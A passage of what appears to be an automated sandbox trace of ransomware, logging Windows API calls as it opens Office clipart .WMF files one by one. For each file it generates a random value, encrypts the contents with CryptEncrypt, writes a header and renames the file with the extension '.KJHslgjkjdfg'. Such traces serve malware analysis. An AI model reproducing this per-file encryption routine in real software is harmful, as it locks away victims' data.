[0218.114] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.115] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.115] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.115] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.149] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.165] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.199] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.199] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.199] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.199] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.199] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1412, lpOverlapped=0x0) returned 1 [0218.201] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420, dwBufLen=0x1420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1420) returned 1 [0218.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.201] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1420, lpOverlapped=0x0) returned 1 [0218.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.201] SetEndOfFile (hFile=0x130) returned 1 [0218.204] GetProcessHeap () returned 0x990000 [0218.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.204] GetProcessHeap () returned 0x990000 [0218.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.kjhslgjkjdfg")) returned 1 [0218.207] CloseHandle (hObject=0x130) returned 1 [0218.207] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0218.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.208] GetProcessHeap () returned 0x990000 [0218.208] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.208] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.208] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.211] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.211] GetProcessHeap () returned 0x990000 [0218.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.212] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.212] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.212] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.212] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x50c, lpOverlapped=0x0) returned 1 [0218.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x510, dwBufLen=0x510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x510) returned 1 [0218.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x510, lpOverlapped=0x0) returned 1 [0218.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.213] SetEndOfFile (hFile=0x130) returned 1 [0218.215] GetProcessHeap () returned 0x990000 [0218.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.216] GetProcessHeap () returned 0x990000 [0218.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.kjhslgjkjdfg")) returned 1 [0218.217] CloseHandle (hObject=0x130) returned 1 [0218.218] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0218.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.219] GetProcessHeap () returned 0x990000 [0218.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.219] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.221] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.221] GetProcessHeap () returned 0x990000 [0218.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.221] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.221] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.221] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.222] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x778, lpOverlapped=0x0) returned 1 [0218.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780, dwBufLen=0x780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780) returned 1 [0218.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x780, lpOverlapped=0x0) returned 1 [0218.223] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.223] SetEndOfFile (hFile=0x130) returned 1 [0218.225] GetProcessHeap () returned 0x990000 [0218.225] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.225] GetProcessHeap () returned 0x990000 [0218.225] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.kjhslgjkjdfg")) returned 1 [0218.227] CloseHandle (hObject=0x130) returned 1 [0218.227] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0218.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.229] GetProcessHeap () returned 0x990000 [0218.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.232] GetProcessHeap () returned 0x990000 [0218.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.232] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.233] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.233] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.234] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2094, lpOverlapped=0x0) returned 1 [0218.235] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20a0, dwBufLen=0x20a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20a0) returned 1 [0218.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20a0, lpOverlapped=0x0) returned 1 [0218.235] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.235] SetEndOfFile (hFile=0x130) returned 1 [0218.238] GetProcessHeap () returned 0x990000 [0218.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.238] GetProcessHeap () returned 0x990000 [0218.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.kjhslgjkjdfg")) returned 1 [0218.240] CloseHandle (hObject=0x130) returned 1 [0218.240] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0218.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.242] GetProcessHeap () returned 0x990000 [0218.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.243] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.243] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.245] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.245] GetProcessHeap () returned 0x990000 [0218.245] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.245] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.245] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.245] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.246] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.246] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.246] WriteFile (in: hFile=0x130, 